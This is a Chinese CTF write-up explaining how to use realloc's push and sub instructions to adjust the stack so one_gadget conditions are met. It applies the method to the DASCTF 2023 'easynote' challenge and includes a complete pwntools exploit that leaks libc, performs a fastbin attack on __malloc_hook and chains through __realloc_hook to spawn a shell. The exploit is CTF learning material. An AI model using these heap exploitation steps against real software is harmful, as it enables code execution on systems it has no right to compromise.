利用realloc函数调整栈帧学习以及相关例题学习

发布时间 2023-11-09 09:43:41作者: ModesL

前言:

在前面学习malloc_hook的时候,我们会用到one_gadget,但是我们也知道,one_gadget是有要求的,如果当我们四个one_gadget都不满足要求该如何做,那么我们就可以利用realloc来调整栈帧来使得符合条件,当然如果找完了也不符合那就寄了(,同样的在调用realloc()函数是会判断realloc_hook的值是否为空,不为空则执行其执行的代码。同时,我们也可以用malloc_hook来指向_libc_realloc()函数内部,然后通过realloc_hook来触发one_gadget。就变成了malloc_hook--->realloc_hook--->one_gadget

那么先来看看 realloc 的汇编代码:(可以把 libc 拖到 ida 中看,也可以泄露地址后 gdb 调试查看 x /20i [addr]),

 

我们可以发现,里面还有大量的push指令和一个sub rsp,0x38的指令,我们就可以利用这些push和sub来调整栈帧,假设我们现在从0x846c0开始执行,也就是第一条指令开始执行,那么总共可以调整0x8*6+0x38+0x8=0x70(6条push指令+sub指令+call realloc指令)就可以将rsp调到rsp-0x70的地方了,如果只执行sub这条指令那么就可以调整0x38+0x8=0x40,就可以将rsp调整到rsp-0x40的地方了,(以libc2.23为例子)那么我们one_gadget的第二个条件就可以变成[rsp-30]-[rsp-10]之间是否有=0的地方,第三个第四个条件都可以依次类推下来。

DASCTF 2023六月挑战赛|二进制专项:easynote

前面的利用unsort bin泄露libc版本和利用fastbin attack来申请到malloc_hook具体思路与我之前的文章大致思路是一样的,在这里就不过多赘述,在这只讲讲怎么利用realloc来调整栈帧来达到我的目的(劫持malloc_hook函数以及相关例题学习 - ModesL - 博客园 (cnblogs.com))

首先,利用的是libc-2.23.so版本的one_gadget,我在这里使用的是第四个one_gadget

strings libc.so.6 | grep ubuntu 查找对应的ubutun版本再利用glibc-all-in-one更换版本方便调试

我们寻找的one_gadget的条件具体是在哪呢,通过几次调试我们可以更好的看出来,我们通过pwndbg中的si指令单步进入creat函数(打的是maoolc_hook)在进入malloc@ple函数再进入call rax就可以找到了,但是进入call rax后我们发现有五条汇编,具体是要在哪一条汇编完成one_gadget的条件呢

此时rsp+0x70的位置在这里

 下一条指令

以此类推下去

 

 所以其实进入one_gadget后,发现这五步汇编指令会只改变rdi和rsi和rip的内容(也可能是我没注意到,如有错误同我联系),所以我们似乎可以通过任何一步来看是否符合one_gadget,为了方便就在第一条看即可,然后我们知道这明显不符合我们选的one_gadget的条件,我们可以利用realloc不断加1来尝试,最终在realloc+4的地方发现满足条件

 完整的exp

#!/usr/bin/env python
# coding=utf-8
from pwn import *

context(log_level='debug', arch='amd64', os='linux')
p = process('./pwn1')
# p = remote('node4.buuoj.cn', 29354)


def creat(lenth, content):
    p.recvuntil(b'5. exit\n')
    p.sendline(b'1')
    p.recvuntil("The length of your content --->")
    p.sendline(str(lenth))
    p.recvline()
    p.send(content)


def edit(index, content):
    p.recvuntil(b'5. exit\n')
    p.sendline(b'2')
    p.recvuntil("Index --->")
    p.sendline(str(index).encode())
    p.recvuntil("--->\n")
    p.sendline(str(len(content)))
    p.recvuntil("--->\n")
    p.send(content)


def show(index):
    p.recvuntil(b'5. exit\n')
    p.sendline(b'4')
    p.recvuntil('Index --->\n')
    p.sendline(str(index))


def free(index):
    p.recvuntil(b'5. exit\n')
    p.sendline(b'3')
    p.recvuntil('Index --->\n')
    p.sendline(str(index))


creat(0x60, b'AAAAAA')  # 0
creat(0x80, b'AAAAAA')  # 1
creat(0x60, b'AAAAA')  # 2
creat(0x60, b'AAAAA')  # 3
free(1)
show(1)
__malloc_hook_addr = u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) - 88 - 0x10
print(hex(__malloc_hook_addr))
libc = ELF('./libc-2.23.so')
libc_base = __malloc_hook_addr - libc.sym['__malloc_hook']

realloc = libc_base + libc.sym['realloc']
onegadget = libc_base + 0xf1247
fake_addr = __malloc_hook_addr - 0x20 - 3
creat(0x80, b'AAAA')  # 4=1
free(2)
edit(2, p64(fake_addr))
# gdb.attach(p)
# pause()
creat(0x60, b'bbbb')
creat(0x60, b'B' * (0x13 - 8) + p64(onegadget) + p64(realloc+4))
#gdb.attach(p)
#pause(1)
creat(0x10, b'AA')

p.interactive()

感谢这位师傅的友情解惑:XYYR-c_-CSDN博客